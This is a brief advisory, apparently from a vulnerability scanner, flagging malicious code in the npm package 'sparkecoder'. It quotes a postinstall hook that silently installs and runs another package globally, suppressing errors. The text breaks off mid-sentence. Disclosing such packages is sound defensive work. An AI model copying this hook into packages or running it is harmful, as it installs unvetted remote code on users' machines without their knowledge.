Malicious code in sparkecoder (npm)

Source: amazon-inspector d4e17b053b29d371301e49a703b1b6d2fba5631df4bf7b6926503a6b8bb82257 package.json declares a postinstall hook: "npm install -g agent-browser 2/dev/null || true; agent-browser install 2/dev/null || true". On npm install sparkecoder, this fetches whatever the current 'latest'...